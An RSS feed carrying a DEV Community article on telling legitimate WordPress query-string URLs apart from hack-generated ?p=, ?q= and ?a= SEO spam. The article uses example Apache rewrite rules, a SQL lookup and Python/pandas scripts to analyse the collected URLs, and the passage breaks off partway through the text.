<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: MD Pabel</title>
    <description>The latest articles on DEV Community by MD Pabel (@md_pabel_fe07e07449db7326).</description>
    <link>https://dev.to/md_pabel_fe07e07449db7326</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3343403%2F5343d879-bb08-485f-b057-6987204f4891.jpg</url>
      <title>DEV Community: MD Pabel</title>
      <link>https://dev.to/md_pabel_fe07e07449db7326</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/md_pabel_fe07e07449db7326"/>
    <language>en</language>
    <item>
      <title>How to Investigate WordPress ?p=, ?q=, and ?a= SEO Spam URLs</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Mon, 20 Jul 2026 08:15:34 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/how-to-investigate-wordpress-p-q-and-a-seo-spam-urls-1jgc</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/how-to-investigate-wordpress-p-q-and-a-seo-spam-urls-1jgc</guid>
      <description>&lt;p&gt;During a WordPress SEO spam investigation, I found Google requesting URLs like these:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?p=23932
https://example.com/?q=98237492
https://example.com/?a=739284729
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first, they look similar: a short query parameter followed by a large number.&lt;/p&gt;

&lt;p&gt;But they should not all be treated the same way.&lt;/p&gt;

&lt;p&gt;The most dangerous mistake would be to create a rule that blocks every single-letter query parameter.&lt;/p&gt;

&lt;p&gt;That could break:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real WordPress posts&lt;/li&gt;
&lt;li&gt;Internal searches&lt;/li&gt;
&lt;li&gt;Plugin filters&lt;/li&gt;
&lt;li&gt;Tracking parameters&lt;/li&gt;
&lt;li&gt;Form submissions&lt;/li&gt;
&lt;li&gt;Application features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In a larger cleanup involving approximately 242,000 unwanted URL variations, I had to separate legitimate WordPress behaviour from malicious URL patterns.&lt;/p&gt;

&lt;p&gt;The full incident is documented in my &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;spam URL removal case study&lt;/a&gt;. This article focuses on query-string analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a query string?
&lt;/h2&gt;

&lt;p&gt;A query string is the part of a URL following the question mark.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?p=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query string is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;p=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Multiple parameters can be separated with an ampersand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?page=2&amp;amp;sort=price
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Query strings are normal.&lt;/p&gt;

&lt;p&gt;Their existence does not mean a website is hacked.&lt;/p&gt;

&lt;p&gt;The issue begins when malware generates large numbers of meaningless or spam-producing variations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why &lt;code&gt;?p=&lt;/code&gt; can be legitimate
&lt;/h2&gt;

&lt;p&gt;WordPress uses the &lt;code&gt;p&lt;/code&gt; parameter to request a post by its database ID.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?p=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If post ID &lt;code&gt;123&lt;/code&gt; exists, WordPress may redirect the request to its normal permalink:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/example-post/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Therefore, this rule would be unsafe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)p=[0-9]+(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It would block every WordPress post query URL.&lt;/p&gt;

&lt;p&gt;Even when the site uses pretty permalinks, old links or external sites may still reference the &lt;code&gt;?p=&lt;/code&gt; version.&lt;/p&gt;

&lt;h2&gt;
  
  
  How &lt;code&gt;?p=&lt;/code&gt; was abused in the incident
&lt;/h2&gt;

&lt;p&gt;The hacked website produced many URLs in a narrow numerical range:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?p=23981
/?p=23932
/?p=23919
/?p=23916
/?p=23860
/?p=23795
/?p=23783
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before blocking the range, I checked whether those IDs belonged to real posts.&lt;/p&gt;

&lt;p&gt;A database query can help:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_status&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_posts&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;BETWEEN&lt;/span&gt; &lt;span class="mi"&gt;23000&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="mi"&gt;24999&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;ASC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If legitimate records exist, a broad range rule may not be appropriate.&lt;/p&gt;

&lt;p&gt;You may need to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exclude known IDs&lt;/li&gt;
&lt;li&gt;Match another part of the request&lt;/li&gt;
&lt;li&gt;Handle the response in PHP&lt;/li&gt;
&lt;li&gt;Use a smaller numerical range&lt;/li&gt;
&lt;li&gt;Avoid blocking the pattern entirely&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;?q=&lt;/code&gt; may also be legitimate
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;q&lt;/code&gt; parameter is not WordPress’s default search parameter, but plugins and custom applications may use it.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Search plugins&lt;/li&gt;
&lt;li&gt;Product filters&lt;/li&gt;
&lt;li&gt;Documentation systems&lt;/li&gt;
&lt;li&gt;External integrations&lt;/li&gt;
&lt;li&gt;Analytics tools&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Never assume &lt;code&gt;?q=&lt;/code&gt; is malicious simply because it appears in spam examples.&lt;/p&gt;

&lt;p&gt;Verify:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does the legitimate site use it?&lt;/li&gt;
&lt;li&gt;What response does a normal &lt;code&gt;?q=&lt;/code&gt; request produce?&lt;/li&gt;
&lt;li&gt;Is the suspicious value always numerical?&lt;/li&gt;
&lt;li&gt;Does the spam use a consistent length or range?&lt;/li&gt;
&lt;li&gt;Do logs show a common user agent or referrer?&lt;/li&gt;
&lt;li&gt;Does the pattern appear in Google Search Console?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;?a=&lt;/code&gt; and other single-letter parameters
&lt;/h2&gt;

&lt;p&gt;Attackers sometimes generate many variants by changing the parameter name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?a=839472938
/?b=739284729
/?x=193847293
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A tempting firewall rule is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)[a-z]=[0-9]+(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is extremely broad.&lt;/p&gt;

&lt;p&gt;It may block legitimate features that use parameters like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?s=wordpress
?p=123
?m=202607
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pattern matching should be evidence-driven.&lt;/p&gt;

&lt;h2&gt;
  
  
  Collect URLs before blocking them
&lt;/h2&gt;

&lt;p&gt;I combined URLs from several sources:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google Search Console Pages report&lt;/li&gt;
&lt;li&gt;Search performance exports&lt;/li&gt;
&lt;li&gt;Server access logs&lt;/li&gt;
&lt;li&gt;Google search results&lt;/li&gt;
&lt;li&gt;Malicious sitemap files&lt;/li&gt;
&lt;li&gt;Security scanner reports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The URLs were saved in a CSV file for analysis.&lt;/p&gt;

&lt;p&gt;A simple CSV might look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;URL
https://example.com/?a=839472938
https://example.com/?q=739284729
https://example.com/?p=23932
https://example.com/real-page/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Filter the domain with Python
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;

&lt;span class="n"&gt;INPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;urls.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain-urls.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;SITE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://example.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;The CSV must contain a column named URL.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;fillna&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;domain_urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SITE_URL&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;domain_urls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saved &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain_urls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; URLs to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Extract query parameters
&lt;/h2&gt;

&lt;p&gt;Python’s standard library can separate parameter names and values safely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parse_qs&lt;/span&gt;

&lt;span class="n"&gt;INPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain-urls.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query-parameters.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;fillna&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_qs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keep_blank_values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;parameter&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value_length&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;numeric&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saved &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; parameter rows to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes it easier to answer questions such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which parameter appears most often?&lt;/li&gt;
&lt;li&gt;Are the values always numbers?&lt;/li&gt;
&lt;li&gt;What is the usual value length?&lt;/li&gt;
&lt;li&gt;Are the values concentrated in one range?&lt;/li&gt;
&lt;li&gt;Do different parameters generate the same content?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Count the patterns
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query-parameters.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;summary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;parameter&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;numeric&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ascending&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;parameter  numeric  count
a          True     8421
q          True     6138
p          True     1820
s          False      42
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This does not prove that &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;q&lt;/code&gt;, or &lt;code&gt;p&lt;/code&gt; are malicious.&lt;/p&gt;

&lt;p&gt;It identifies where to investigate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Review the server response
&lt;/h2&gt;

&lt;p&gt;Test several examples:&lt;br&gt;
&lt;/p&gt;

